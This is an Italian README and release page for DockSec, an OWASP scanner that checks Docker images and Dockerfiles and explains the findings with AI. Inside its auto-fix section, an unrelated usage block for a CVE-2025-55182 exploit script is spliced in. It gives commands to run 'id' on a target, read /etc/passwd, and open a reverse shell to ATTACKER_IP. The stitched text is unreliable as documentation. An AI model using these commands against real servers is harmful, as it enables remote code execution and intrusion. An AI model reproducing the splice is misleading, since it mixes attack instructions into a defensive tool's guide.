Torna agli aggiornamenti
New releaseSep 21, 2026

DockSec v2026.9.21

Scanner di sicurezza Docker basato sull'IA che spiega le vulnerabilità in un linguaggio semplice. Un progetto OWASP Lab.

Condividi

OWASP OWASP project-docksec Build Status
OpenSSF Best Practices

License Last Commit Contributors

Forks Stars PyPI Downloads

Issues Pull Requests

CREATED

DockSec Logo
OWASP Logo

DockSec

Scanner di sicurezza Docker basato sull'AI che spiega le vulnerabilità in linguaggio semplice


Cos'è DockSec?

DockSec è un OWASP Lab Project che colma il divario tra i risultati complessi delle scansioni di sicurezza e le correzioni attuabili per gli sviluppatori. Integra scanner standard del settore (Trivy, Hadolint, Docker Scout) con l'AI per fornire un'analisi di sicurezza consapevole del contesto.

Invece di sommergerti con un elenco di oltre 200 CVE, DockSec:

  • Dà priorità a ciò che influisce realmente sulla tua specifica configurazione di container.
  • Spiega le vulnerabilità in linguaggio semplice, non solo con gergo tecnico di sicurezza.
  • Suggerisce correzioni specifiche per il tuo Dockerfile.
  • Genera report di sicurezza professionali e interattivi per il tuo team.

Tutto viene scansionato localmente; l'unica cosa che lascia la tua macchina è il contenuto del file (con i segreti oscurati) inviato al provider AI che scegli - e con un modello locale o la modalità solo scansione, non esce nulla. Vedi Flusso dei dati e privacy.


Come funziona

DockSec Workflow

Flusso di lavoro di DockSec: dalla scansione a informazioni attuabili

DockSec segue una pipeline in cinque fasi:

  1. Scansione: esegue Trivy (vulnerabilità delle immagini e misconfigurazioni del Dockerfile), Hadolint e Docker Scout localmente nel tuo ambiente.
  2. Prioritizzazione: classifica ogni risultato CVE in base alla gravità combinata con la probabilità di sfruttamento EPSS, così l'elenco è ordinato in base a cosa correggere prima anziché a cosa è stato trovato prima.
  3. Correlazione: rileva le catene di exploit in cui risultati separati si combinano in un unico percorso di attacco - un database con credenziali che un servizio esposto a Internet può raggiungere è una catena, non due risultati non correlati. Con una chiave API, un passaggio AI ragiona sull'intero output della scansione per classificare, spiegare ed estendere tutto ciò.
  4. Raccomandazione: produce comandi di correzione da copiare ed eseguire e modifiche concrete al Dockerfile o al compose, e indica quanti risultati risolvono.
  5. Report: esporta i risultati attuabili in HTML, PDF, JSON, CSV, Markdown, SARIF e CycloneDX SBOM.

Per iniziare

1. Prerequisiti

DockSec orchestra scanner locali, quindi necessita di:

RequisitoNecessario perInstallazione
Python 3.12+DockSec stessopython.org
TrivyTutte le scansioni (obbligatorio)brew install trivy o Trivy docs
HadolintLinting del Dockerfilebrew install hadolint o Hadolint docs
DockerScansioni delle immagini (-i)Docker docs

Oppure lascia che DockSec installi Trivy e Hadolint per te:```bash python -m docksec.setup_external_tools

### 2. Installare DockSec```bash
# Full install with AI analysis support (recommended)
pip install "docksec[ai]"

# Or the slim, scan-only core (no LLM dependencies, no API key needed)
pip install docksec

3. Esegui la tua prima scansione

Nessuna chiave API necessaria per la scansione locale:```bash docksec Dockerfile --scan-only

Ogni scansione termina con un riepilogo dei risultati: una tabella delle severità, un punteggio di sicurezza da 0 a 100 con una
valutazione, un blocco di azioni "Quick take", i report generati (salvati in
`~/.docksec/results/` per impostazione predefinita) e un comando successivo suggerito.

### 4. Abilitare l'analisi AI

L'analisi AI spiega i risultati e suggerisce correzioni. Scegli un provider, imposta la sua chiave API ed esegui:```bash
# OpenAI (default provider)
export OPENAI_API_KEY="sk-..."
docksec Dockerfile

# Anthropic Claude
export ANTHROPIC_API_KEY="sk-ant-..."
docksec Dockerfile --ai-only --provider anthropic --model claude-sonnet-5

# Google Gemini
export GOOGLE_API_KEY="..."
docksec Dockerfile --ai-only --provider google

# Ollama (fully local, no API key, data never leaves your machine)
docksec Dockerfile --ai-only --provider ollama --model llama3.1

Ogni provider ha un modello predefinito sensato (OpenAI: gpt-4o, Anthropic: claude-haiku-4-5, Google: gemini-1.5-pro, Ollama: llama3.1), quindi --model è opzionale. Per evitare di ripetere i flag, imposta le variabili d'ambiente (oppure inseriscile in un file .env nella directory da cui esegui - DockSec lo carica automaticamente):```bash export LLM_PROVIDER=anthropic export LLM_MODEL=claude-sonnet-5 docksec Dockerfile

Prima che qualsiasi contenuto venga inviato a un provider AI, i valori che sembrano segreti (password, token, chiavi API, blocchi di chiavi private) vengono mascherati automaticamente. Vedi
[Flusso di dati e privacy](#data-flow-and-privacy).

### 5. Oppure esegui l'immagine del container (niente da installare)

L'immagine pubblicata include versioni bloccate di Trivy e Hadolint, quindi non c'è
nulla da installare e nulla da configurare:```bash
docker run --rm -v "$PWD:/github/workspace" \
  -e INPUT_DOCKERFILE=Dockerfile \
  -e INPUT_SCAN_ONLY=true \
  ghcr.io/owasp/docksec:latest

Pubblicato multi-arch (amd64 e arm64) a ogni release. Fissa una versione specifica (ghcr.io/owasp/docksec:2026.9.21) o una serie minore (ghcr.io/owasp/docksec:2026.9) invece di latest in CI. Ogni immagine porta un'attestazione di provenienza della build:```bash gh attestation verify oci://ghcr.io/owasp/docksec:latest --repo OWASP/DockSec

L'immagine legge le stesse variabili `INPUT_*` della GitHub Action, quindi qualsiasi input dell'Action funziona qui: `INPUT_IMAGE`, `INPUT_COMPOSE`, `INPUT_SEVERITY`, `INPUT_FAIL_ON`, `INPUT_FORMAT`, `INPUT_SARIF`, `INPUT_OUTPUT_DIR`. Scrivi i report da qualche parte sul mount per conservarli dopo l'uscita del container:```bash
docker run --rm -v "$PWD:/github/workspace" \
  -e INPUT_COMPOSE=docker-compose.yml \
  -e INPUT_SCAN_ONLY=true \
  -e INPUT_FORMAT=json,html \
  -e INPUT_OUTPUT_DIR=/github/workspace/docksec-reports \
  ghcr.io/owasp/docksec:latest

6. Oppure usa la GitHub Action```yaml

  • name: Run DockSec AI Scanner uses: OWASP/[email protected] with: dockerfile: 'Dockerfile' openai_api_key: ${{ secrets.OPENAI_API_KEY }}
## Comandi Comuni```bash
# Scan Dockerfile + Docker image (AI + scanners)
docksec Dockerfile -i myapp:latest

# Scan a Docker Compose file and all its services
docksec --compose docker-compose.yml

# Scan only a Docker image
docksec --image-only -i myapp:latest

# Fast local scan, no AI, no API key
docksec Dockerfile --scan-only

# Choose which severity levels the image scan reports (default: CRITICAL,HIGH)
docksec -i myapp:latest --image-only --severity CRITICAL,HIGH,MEDIUM

# Fail the build (exit 1) if any finding is HIGH or above
docksec -i myapp:latest --image-only --fail-on high

# Write only the report formats you want, to a directory of your choice
docksec Dockerfile --scan-only --format json,html --output-dir ./reports

# Write a Markdown report for posting directly into a pull request comment
docksec Dockerfile --scan-only --format markdown

# Print results as JSON to stdout for scripts and CI pipelines
docksec -i myapp:latest --image-only --json

# Write a SARIF report for GitHub Code Scanning
docksec Dockerfile --scan-only --sarif

# Write a CycloneDX SBOM of an image for supply-chain tooling
docksec --image-only -i myapp:latest --sbom

# Fully offline scan: local Trivy DB, no network, no AI
docksec --image-only -i myapp:latest --offline

# Save today's findings as a baseline, then only gate on new findings later
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --update-baseline
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --fail-on high

# Suppress triaged findings with an auditable ignore file
docksec -i myapp:latest --image-only --ignore-file .docksec-ignore.yml

# Force a fresh scan, bypassing the results cache
docksec -i myapp:latest --image-only --no-cache

# Install AI-assistant skill files (Claude Code, Cursor, Copilot, and more)
docksec install-skill

# Output control
docksec Dockerfile --scan-only --quiet                  # warnings, errors, summary only
docksec Dockerfile --scan-only --verbose                # INFO-level diagnostics on stderr
docksec Dockerfile --scan-only --verbose --log-file logs/docksec.log
docksec Dockerfile --scan-only --compact-output         # shorter per-finding output
docksec Dockerfile --no-color                           # also honors NO_COLOR

# Apply the mechanical Dockerfile fixes (keeps a .bak, re-scans, shows the delta)
docksec Dockerfile --scan-only --fix --dry-run          # print the diff, change nothing
docksec Dockerfile --scan-only --fix

# Rank findings by severity alone, with no EPSS lookup and no network call
docksec Dockerfile --scan-only --no-epss

# Treat a scan that could not complete as a failure, not a pass
docksec Dockerfile --scan-only --fail-on high --incomplete-policy fail

File di configurazione

Esegui il commit di un file .docksec.yml nella radice del tuo repository e l'intero team - e ogni job CI - esegue la scansione secondo la stessa policy, invece di far passare a ogni sviluppatore i propri flag.```yaml

yaml-language-server: $schema=https://owasp.org/DockSec/docksec-config-schema.json

severity: CRITICAL,HIGH fail_on: HIGH formats: [json, html] output_dir: ./security-reports

rules: disabled: - compose-missing-healthcheck

Ogni impostazione è opzionale; tutto ciò che ometti ricade sulla variabile d'ambiente e poi sul valore predefinito integrato. Un esempio completo annotato è in
[`examples/.docksec.yml`](https://github.com/owasp/docksec/blob/main/examples/.docksec.yml).

### Precedenza

Prima la priorità più alta:```
CLI flag  >  environment variable  >  .docksec.yml  >  built-in default

Quindi un severity: LOW committato viene comunque sovrascritto da --severity CRITICAL sulla riga di comando, e da DOCKSEC_DEFAULT_SEVERITY nell'ambiente.

Discovery

DockSec cerca .docksec.yml (o .docksec.yaml) nella directory di lavoro e poi risale fino alla radice del repository, così un servizio in una sottodirectory di un monorepo eredita la policy committata al livello superiore. La ricerca si ferma alla directory contenente .git, quindi non preleva mai un file dall'esterno del repository.

  • --config FILE usa un file specifico invece di cercare.
  • --no-config ignora qualsiasi file di configurazione, per esecuzioni CI riproducibili.

Il file di configurazione in vigore è mostrato nel banner della scansione, quindi è sempre chiaro quale policy è stata applicata.

Impostazioni

ImpostazioneFlag equivalenteNote
severity--severityLivelli di severità per la scansione dell'immagine
fail_on--fail-onSoglia del gate CI
formats--formatForma lista: [json, html]
output_dir--output-dirDestinazione del report
provider--provideropenai, anthropic, google, ollama
model--modelNome del modello per il provider
offline--offlineNessuna rete; salta AI e Docker Scout
skip_ai_scoring--skip-ai-scoringDeprecato e ignorato; lo scoring è sempre deterministico
no_redact--no-redactNon mascherare i segreti prima della chiamata AI
no_cache--no-cacheIgnora la cache della scansione
ignore_file--ignore-filePercorso del file di waiver
baseline--baselinePercorso del file di baseline
rules.disabled-ID delle regole da disattivare completamente

Un file di configurazione non valido - una chiave sconosciuta, una severità errata - è un errore fatale che esce con 2 anziché un avviso, quindi un file di policy rotto non può mai causare l'esecuzione di una scansione sotto regole che il team non ha committato.

Autocompletamento dell'editor

Il commento # yaml-language-server: sulla prima riga fornisce completamento e validazione inline in VS Code e negli editor JetBrains. Lo schema è pubblicato su docs/docksec-config-schema.json e può essere rigenerato con docksec --print-config-schema.

Disabilitare le regole

rules.disabled disattiva completamente un controllo, ovunque - viene rimosso prima dello scoring, dei report, di --json e del gate --fail-on. Usalo per i controlli che non si applicano al tuo ambiente. Per singoli findings che il tuo team ha valutato e accettato, preferisci il file di waiver, le cui voci portano una motivazione e una data di scadenza e quindi restano verificabili.


Integrazione CI/CD

Codici di uscita

DockSec usa codici di uscita adatti alla CI così che build e shell possano reagire ai risultati:

CodiceSignificato
0Successo, nessun finding pari o superiore a --fail-on
1Finding pari o superiori alla soglia --fail-on
2Errore di utilizzo o argomento
3Errore dello strumento o di runtime (scansione fallita, immagine non trovata, strumenti mancanti)

--fail-on fa da gate su ogni finding strutturato: vulnerabilità dell'immagine, misconfigurazioni del Dockerfile e misconfigurazioni di compose. Quando --fail-on è inferiore alla --severity richiesta, la severità della scansione viene ampliata automaticamente così che il gate possa osservare quei finding.

Scansioni incomplete

Se uno scanner non può essere eseguito, i risultati potrebbero mancare di finding anziché essere genuinamente puliti. DockSec lo segnala come lacuna di rilevamento nel blocco Coverage e in --json sotto scan_info.completeness. Usa --incomplete-policy fail per uscire con 3 in quel caso, così la CI non può passare su una scansione che non è terminata:```bash docksec Dockerfile --incomplete-policy fail

### Priorità: cosa correggere prima

Ogni risultato CVE viene valutato in base a [EPSS](https://www.first.org/epss/), che
stima la probabilità che venga sfruttato nei prossimi 30 giorni. Combinando questo
con la gravità si ottengono quattro livelli:

| Livello | Significato |
|---|---|
| **Fix Now** | Gravità critica o alta, e tra il 10% dei CVE con maggiore probabilità di sfruttamento |
| **Fix Soon** | Gravità critica o alta, ma lo sfruttamento è meno comune |
| **Monitor** | Gravità inferiore, ma attivamente sfruttato |
| **Low Priority** | Gravità inferiore, sfruttamento non comune |

Questa è l'unica chiamata di rete che DockSec effettua al di fuori della fase AI, ed è
deliberatamente limitata: **vengono inviati solo gli ID CVE** - nessun nome di immagine, nessun contenuto di file,
nessun percorso. I punteggi vengono memorizzati nella cache per 24 ore. `--offline` e `--no-epss` lo disabilitano,
e qualsiasi errore ricade su una classificazione basata solo sulla gravità anziché far fallire la scansione.

### Catene di exploit

Una vista per servizio riporta i risultati uno alla volta. DockSec riporta anche dove
risultati separati si combinano in un unico percorso di attacco:```text
Exploit chains
  [HIGH] 'web' is internet-facing and can reach 'db' with a committed credential
      services: web, db
      combines: compose-plaintext-secret-env, compose-no-network-segmentation
      'web' accepts connections from outside the host and shares the default
      network with 'db'. 'db' is not exposed directly, but its credential is in
      the compose file, so compromising 'web' yields authenticated access to it.
      Neither service looks critical on its own.
      break it: Put 'db' on its own network that 'web' does not join, or move
      POSTGRES_PASSWORD to a Docker secret.

Il rilevamento delle catene è basato su regole, quindi funziona con --scan-only, offline e senza API key, e restituisce lo stesso risultato a ogni esecuzione. Il passaggio AI le classifica e le estende anziché essere necessario per esse. Le catene compaiono anche in --json sotto exploit_chains.

Consulta la guida alle catene di exploit per l'elenco completo e il riferimento alle regole di compose per ogni regola che combinano.

Comandi di correzione

Le scansioni terminano con comandi concreti anziché con un elenco di identificatori, e con una dichiarazione chiara di quante rilevazioni risolvono:```text Fix commands

apt-get install --only-upgrade -y libgnutls30=3.7.9-2+deb12u7 CRITICAL - 3.7.9-2+deb12u4 -> 3.7.9-2+deb12u7 (CVE-2026-33845 +6)

Dockerfile changes

  • [CRITICAL] Move the secret out of ENV; inject it at runtime (line 4)
  • [HIGH] Add a non-root USER before CMD/ENTRYPOINT (line 7)

Applying all of the above resolves 37 of 93 finding(s); 56 have no mechanical fix yet.

### Output leggibile dalla macchina

`--json` stampa un singolo oggetto JSON su stdout (informazioni sulla scansione, vulnerabilità, conteggi di gravità e eventuali risultati AI) invece del riepilogo leggibile dall'uomo, così può essere reindirizzato direttamente verso altri strumenti:```bash
docksec -i myapp:latest --image-only --json | jq '.severity_counts'

Con --json da solo, non vengono scritti file di report; combinalo con --format per scrivere file e stampare JSON nella stessa esecuzione. Tutti i messaggi leggibili dall'uomo passano a stderr in modalità --json, quindi stdout contiene sempre e solo il payload JSON.

Formati di report

--format accetta una lista separata da virgole di output su file:

FormatoCosa ottieni
jsonUn file .json con i metadati della scansione, i conteggi per severità e la lista completa delle vulnerabilità (stessa struttura del payload JSON su stdout, ma scritto su disco).
csvUna tabella .csv dei risultati (ID, severità, pacchetto, versione, titolo e campi correlati).
pdfUn riepilogo PDF stampabile con informazioni sulla scansione, punteggi e dettagli delle vulnerabilità.
htmlUn report HTML con stile per consultare i risultati in un browser.
markdownUn report .md che viene renderizzato nativamente nei commenti delle pull request e nei riepiloghi dei job CI. Opt-in: non viene scritto se non richiesto.

json, csv, pdf e html vengono scritti per impostazione predefinita; aggiungi markdown esplicitamente per ottenerlo.

CSV senza risultati: se una scansione non segnala vulnerabilità ma csv è nella tua lista --format, DockSec scrive comunque un file CSV contenente solo le intestazioni delle colonne. Questo è intenzionale (l'esportazione è valida, non una scrittura fallita) così gli strumenti a valle possono fare affidamento su uno schema stabile anche su scansioni pulite.

Per il JSON su stdout e il piping verso altri strumenti, vedi Output leggibile dalla macchina sopra. Per CI e GitHub Code Scanning, usa --sarif (vedi la sezione successiva); SARIF è separato da --format e viene sempre emesso quando richiesto.

Output SARIF per GitHub Code Scanning

--sarif scrive un report SARIF 2.1.0 insieme agli altri formati di report. Caricalo con l'azione standard github/codeql-action/upload-sarif per vedere i risultati annotati direttamente sulle pull request e nella scheda Security:```yaml

  • name: Run DockSec uses: OWASP/[email protected] with: dockerfile: 'Dockerfile' sarif: 'true'

  • name: Upload SARIF to GitHub Code Scanning uses: github/codeql-action/upload-sarif@v3 if: always() with: sarif_file: ~/.docksec/results

> `if: always()` è importante: senza di esso, il passo di upload viene saltato ogni volta che
> `--fail-on` fa terminare DockSec con un codice diverso da zero, perdendo i risultati proprio nel momento in cui
> contano di più.

### Modalità baseline / ratchet

`--baseline FILE` ti consente di adottare `--fail-on` su un progetto esistente senza che una parete di
risultati preesistenti blocchi ogni build. Esegui una volta con `--update-baseline` per fare uno snapshot
dei risultati attuali, poi esegui il commit del file baseline; da quel momento in poi, `--fail-on` blocca solo i
risultati che non sono già presenti nella baseline:```bash
# Snapshot current findings (does not gate)
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --update-baseline

# Later runs only fail on NEW findings above the threshold
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --fail-on high

I risultati vengono confrontati per ID vulnerabilità, target e nome del pacchetto, quindi la baseline rimane valida man mano che risultati non correlati compaiono e scompaiono. Riesegui con --update-baseline ogni volta che vuoi accettare lo stato corrente come nuova baseline.

Ignorare i risultati (waiver)

--ignore-file FILE sopprime i singoli risultati che un team ha analizzato e accettato. A differenza della baseline (un'istantanea in un determinato momento), il file di ignore è una lista esplicita e verificabile in cui ogni voce porta una motivazione e una data di scadenza opzionale. Se nella directory corrente esiste un file .docksec-ignore.yml, viene rilevato automaticamente.```yaml

.docksec-ignore.yml

ignores:

  • id: CVE-2023-45853 # Trivy vulnerability ID or DockSec rule ID reason: "zlib CVE; code path not reachable, vendor fix pending" expires: 2026-12-31 # optional; entry stops applying after this date
  • id: compose-missing-healthcheck reason: "healthchecks are handled by the orchestrator"
I risultati soppressi vengono rimossi prima del punteggio, dei report, dell'output `--json` e del
gate `--fail-on`. Le voci scadute smettono di applicarsi automaticamente (con un avviso), e
le voci senza una motivazione vengono segnalate affinché le deroghe restino verificabili. Esegui il commit del file nel
controllo di versione in modo che le soppressioni siano revisionate come qualsiasi altra modifica.

---

## Report

### Formati di report

Per impostazione predefinita ogni scansione scrive quattro file di report; usa `--format` per scegliere un sottoinsieme:

- **html**: Un report web interattivo e visivamente pulito: schede di gravità, valutazione del punteggio, tabella completa delle vulnerabilità con versioni corrette e i risultati completi dell'IA.
- **pdf**: Un documento portabile, pronto per la presentazione.
- **json**: Dati di scansione completi e leggibili dalla macchina (stessa struttura dell'output stdout di `--json`).
- **csv**: Una tabella pronta per il foglio di calcolo delle singole vulnerabilità.
- **markdown**: Un report leggero e leggibile (riepilogo della gravità + tabella delle vulnerabilità con versioni corrette) che viene visualizzato nativamente nei commenti delle pull request e nei riepiloghi dei job CI. Opt-in: aggiungi `markdown` a `--format`; non viene scritto per impostazione predefinita.

> Nota sul comportamento CSV: con zero vulnerabilità, DockSec scrive comunque un CSV
> di sole intestazioni (nomi delle colonne, nessuna riga) in modo che l'automazione a valle non si rompa mai su un file
> mancante o vuoto. Questo è intenzionale.

### CycloneDX SBOM

`--sbom` scrive un software bill of materials CycloneDX (`<image>.cdx.json`) dell'
immagine scansionata, elencando ogni componente del pacchetto più le vulnerabilità note. Il BOM è
prodotto dall'esportatore nativo di Trivy (quindi è conforme alla specifica) e DockSec si inserisce
nei metadati dello strumento. Alimentalo in Dependency-Track, nel grafo delle dipendenze di GitHub o in qualsiasi
altro consumatore di SBOM:```bash
docksec --image-only -i myapp:latest --sbom

--sbom richiede una singola immagine (-i), quindi viene saltato per le esecuzioni compose. Come --sarif, è indipendente da --format.


Flusso di dati e privacy

DockSec è progettato in modo che tu sappia sempre cosa lascia la tua macchina:

  • La scansione è completamente locale. Trivy, Hadolint e il punteggio di sicurezza vengono eseguiti sulla tua macchina. Il contenuto delle immagini non viene mai caricato da nessuna parte da DockSec.
  • L'analisi AI invia solo il file scansionato. Quando viene eseguito il passaggio AI, il contenuto del Dockerfile o del file compose (più un breve riepilogo dei conteggi delle vulnerabilità per il punteggio) viene inviato al provider LLM che hai configurato. Nient'altro viene trasmesso.
  • I segreti vengono oscurati prima di uscire. I valori che sembrano segreti (password, token, chiavi API, blocchi di chiavi private) nel file vengono mascherati prima che il contenuto venga inviato al provider AI. I nomi delle chiavi rimangono visibili in modo che le credenziali esposte siano comunque segnalate. Usa --no-redact per disattivare questa opzione.
  • L'AI completamente locale è supportata. Usa --provider ollama per mantenere l'analisi AI sul tuo hardware, oppure --scan-only / --offline per saltare completamente l'AI.
  • Nessuna telemetria. DockSec non raccoglie dati di utilizzo e non contatta nulla.

Modalità offline

--offline esegue una scansione senza accesso alla rete. Utilizza il database delle vulnerabilità Trivy già presente sul disco (nessun aggiornamento del DB) e salta l'analisi AI e la scansione avanzata di Docker Scout, entrambe richiedono la rete. Questo è il modo più semplice per scansionare in un ambiente air-gapped o ad accesso limitato:```bash docksec --image-only -i myapp:latest --offline

Assicurati che il DB di Trivy sia stato scaricato almeno una volta (una qualsiasi scansione online precedente lo fa) prima di fare affidamento su `--offline`.

### Cache dei risultati di scansione

I risultati delle scansioni delle immagini vengono memorizzati nella cache (predefinito: 24 ore, sovrascrivibile con
`DOCKSEC_CACHE_TTL_HOURS`) e indicizzati in base al digest del contenuto dell'immagine, quindi un tag ricostruito
come un `:latest` riutilizzato ottiene sempre una scansione aggiornata. Usa `--no-cache` (o
`DOCKSEC_USE_CACHE=false`) per bypassare la cache per un'esecuzione.

### Download di immagini non locali

La scansione di un'immagine non presente localmente la scarica prima. Uno stack compose
nomina abitualmente immagini che la macchina non ha mai scaricato, e senza questo ognuno
di quei servizi viene segnalato come non scansionato.

Imposta `DOCKSEC_PULL_MISSING_IMAGES=false` per disattivare questa opzione e fallire invece, cosa che
vale la pena fare su una connessione a consumo o su un runner condiviso. `--offline` non scarica mai, indipendentemente da questa impostazione.

---

## Competenze per assistenti AI (`install-skill`)

`docksec install-skill` scrive le istruzioni d'uso di DockSec nei file di contesto
ben noti per i più diffusi assistenti AI di programmazione, così un assistente che lavora nel tuo repository sa come
invocare DockSec:```bash
docksec install-skill

Questo crea o aggiorna:

  • .claude/commands/docksec.md (comando slash di Claude Code /docksec)
  • .cursor/rules/docksec.mdc (Cursor)
  • AGENTS.md (Codex CLI), GEMINI.md (Gemini CLI)
  • .github/copilot-instructions.md (GitHub Copilot)

I file sono testo semplice che puoi revisionare e committare; nulla viene eseguito. Rieseguire il comando aggiorna la sezione DockSec sul posto invece di duplicarla.


Funzionalità

  • Analisi intelligente: l'IA spiega cosa significano le vulnerabilità per la tua configurazione specifica.
  • Supporto multi-LLM: OpenAI, Anthropic Claude, Google Gemini o modelli locali tramite Ollama.
  • Privacy al primo posto: i valori dei segreti vengono oscurati prima che qualsiasi contenuto raggiunga un provider di IA, la scansione è completamente locale e non c'è telemetria.
  • Scansione Docker Compose: rileva misconfigurazioni a livello di orchestrazione e scansiona tutti i servizi in un file compose.
  • Integrazione profonda: combina Trivy (vulnerabilità), Hadolint (linting) e Docker Scout.
  • Punteggio di sicurezza: un punteggio da 0 a 100 con una valutazione per monitorare la tua postura di sicurezza nel tempo.
  • Formati ricchi: HTML (interattivo), PDF, JSON, CSV, SARIF e CycloneDX SBOM.
  • Pronto per CI/CD: codici di uscita --fail-on, modalità baseline/ratchet, esenzioni verificabili, JSON su stdout e una GitHub Action sul Marketplace.
  • Modalità offline: scansiona completamente air-gapped (--offline) usando il database Trivy locale.
  • Skill per assistenti IA: docksec install-skill insegna a Claude Code, Cursor, Copilot e altri come eseguire DockSec nel tuo repository.

Confronto tra DockSec e le alternative

CapacitàDockSecTrivy (standalone)Snyk ContainerAikido
Licenza e costoGratuito, open source (MIT)Gratuito, open source (Apache 2.0)Commerciale (piano gratuito limitato)Commerciale (piano gratuito limitato)
GovernanceOWASP Lab Project, neutrale rispetto ai vendorOpen source, mantenuto da AquaSingolo vendorSingolo vendor
Rileva CVE e misconfigurazioni del Dockerfile
Spiega i risultati in linguaggio sempliceSì (contesto e impatto scritti dall'IA)No (dati CVE grezzi)Parziale (severità e suggerimenti di correzione)Parziale (riepiloghi IA nella piattaforma)
Remediation contestuale del DockerfileSì (riscritture specifiche con spiegazione)No (solo rilevamento)Sì (consigli sull'aggiornamento dell'immagine base, PR di correzione)Sì (PR AutoFix con IA)
Scansione Docker Compose (multi-servizio)Sì (controlli di orchestrazione e scansione per servizio)Parziale (scansione della configurazione, nessun fan-out per servizio)ParzialeParziale
Modalità baseline / ratchet (fallisci solo su nuovi risultati)NoParziale (policy della piattaforma)Parziale (policy della piattaforma)
Esenzioni verificabili per singolo risultato con motivazioni e scadenzaParziale (.trivyignore, nessuna motivazione obbligatoria)Parziale (policy della piattaforma)Parziale (policy della piattaforma)
Output nativo per CI (SARIF per GitHub Code Scanning)
Esportazione SBOM (CycloneDX)Sì (--sbom)
Installazione della skill per assistenti IA (Claude Code, Cursor, Copilot)Sì (install-skill)NoNoNo
Esecuzione completamente offline / air-gappedSì (LLM locale tramite Ollama, modalità solo scansione, nessuna chiave API)Solo scansione (nessun livello di remediation)No (piattaforma cloud)No (piattaforma ospitata)
I dati delle tue immagini restano sulla tua reteNoNo
Porta il tuo LLM / scelta del modelloSì (OpenAI, Anthropic, Gemini o Ollama locale)Non applicabileNo (IA proprietaria)No (IA proprietaria)
Self-hostable, nessun deployment su piattaformaNoNo
Vendor lock-inNessunoNessuno
Punteggio di sicurezza (0-100) e report multi-formatoParziale (formati macchina, nessun report di remediation)Parziale (report della dashboard)Parziale (report della dashboard)

DockSec è l'unico tra questi che abbina la remediation contestuale del Dockerfile a un design completamente open source, governato da OWASP e eseguibile localmente. Snyk e Aikido offrono una valida remediation con IA, ma solo come piattaforme cloud commerciali che inviano i tuoi dati al loro servizio. Trivy è open source e locale ma si ferma al rilevamento e non ti aiuta a correggere nulla. DockSec colma il divario per gli sviluppatori e per i team regolamentati o air-gapped che necessitano sia della guida alla correzione sia del pieno controllo dei propri dati, a costo zero.


Applicare le correzioni automaticamente

--fix applica il sottoinsieme meccanico delle modifiche suggerite al Dockerfile, riesegue la scansione e riporta il delta:```bash docksec Dockerfile --scan-only --fix --dry-run # print the diff, change nothing docksec Dockerfile --scan-only --fix # apply, keeping a .bak

## Utilizzo

python3 CVE-2025-55182.py -u -c


### Esempi

```bash
# Esegui il comando 'id' sul server di destinazione
python3 CVE-2025-55182.py -u http://target.com -c "id"

# Leggi un file
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2025-55182.py -u http://target.com -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Come funziona

Lo script sfrutta la vulnerabilità inviando una richiesta POST appositamente predisposta all'endpoint di destinazione. Il payload sfrutta la deserializzazione non sicura per eseguire comandi arbitrari sul server.

Mitigazione

  • Aggiorna React Server Components alla versione più recente
  • Applica le patch di sicurezza fornite dal vendor
  • Limita l'accesso agli endpoint vulnerabili
  • Monitora le richieste sospette nei log del server

Riferimenti

Disclaimer

Questo strumento è fornito solo a scopo educativo e di test di sicurezza autorizzato. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo solo su sistemi di tua proprietà o su cui hai il permesso esplicito di testare.```text Applied 4 change(s)

  • added --no-install-recommends on line(s) 2 [DS029]
  • converted ADD to COPY on line(s) 3 [DL3020]
  • replaced 'USER root' with 'USER appuser' on line 5 [DS002]
  • inserted a placeholder HEALTHCHECK before line 6 [DS026]

Original saved to Dockerfile.bak Dockerfile findings: 7 -> 2 (5 resolved)

È deliberatamente conservativo. Non sceglierà una versione dell'immagine di base, sposterà un secret, convertirà un `ADD` che recupera un URL o decomprime un archivio, né modificherà un file compose - questi vengono segnalati in "Needs review". Rifiuta inoltre di modificare un file con modifiche non committate a meno che non venga specificato `--force`, così git è sempre in grado di annullare la modifica.

## Documentazione

| Guida | Cosa copre |
| --- | --- |
| [Guida alla valutazione](https://github.com/owasp/docksec/blob/main/docs/evaluation-guide.md) | Valutazione di 15 minuti, incluso ciò che DockSec *non* fa |
| [Catene di exploit](https://github.com/owasp/docksec/blob/main/docs/exploit-chains.md) | Percorsi di attacco cross-service e i loro limiti |
| [Riferimento regole Compose](https://github.com/owasp/docksec/blob/main/docs/rules/README.md) | Tutte le 17 regole: cosa rileva ciascuna e quando è ragionevole mantenerla |
| [Integrazione CI](https://github.com/owasp/docksec/blob/main/docs/ci/README.md) | Jenkins, GitLab, Azure Pipelines, pre-commit |
| [Esempi](https://github.com/owasp/docksec/blob/main/examples/README.md) | Dieci Dockerfile e stack compose con i risultati attesi |
| [Casi di studio](https://github.com/owasp/docksec/blob/main/docs/case-studies/README.md) | Scansioni reali di immagini ufficiali, con i numeri |

## Roadmap

Vedi [ROADMAP.md](https://github.com/owasp/docksec/blob/main/ROADMAP.md) per capire dove sta andando DockSec: scansione dei registry senza un daemon Docker locale, un file di configurazione delle policy a livello di repository, template Jenkins/GitLab/Azure DevOps, un'immagine container ufficiale, scansione Kubernetes e Helm e altro ancora. Feedback e voti sulle priorità sono benvenuti nelle
[issue](https://github.com/OWASP/DockSec/issues) e su
[OWASP Slack](https://owasp.slack.com/archives/C0APXGCUW7M).

---

## Contribuire

DockSec prospera grazie ai contributi della comunità. Che tu sia uno sviluppatore, un designer o un appassionato di sicurezza, ci sono molti modi per partecipare:

- **Contributi al codice**: Correggi bug o aggiungi nuove funzionalità.
- **Documentazione**: Migliora le guide o crea tutorial.
- **Segnalazione di problemi**: Identifica e segnala bug.
- **Feedback**: Condividi la tua esperienza e i tuoi suggerimenti.

Per iniziare, consulta le nostre [Linee guida per i contributi](https://github.com/owasp/docksec/blob/main/CONTRIBUTING.md), il [Codice di condotta](https://github.com/owasp/docksec/blob/main/CODE_OF_CONDUCT.md) e la [Guida alla sponsorizzazione](https://github.com/owasp/docksec/blob/main/SPONSORSHIP.md).

---

## Leader e comunità

DockSec è guidato da un team dedicato impegnato a rendere accessibile la sicurezza dei container:

- [Advait Patel](https://github.com/advaitpatel) - Project Lead
- [Arkadii Yakovets](https://github.com/arkid15r) - Project Co-lead

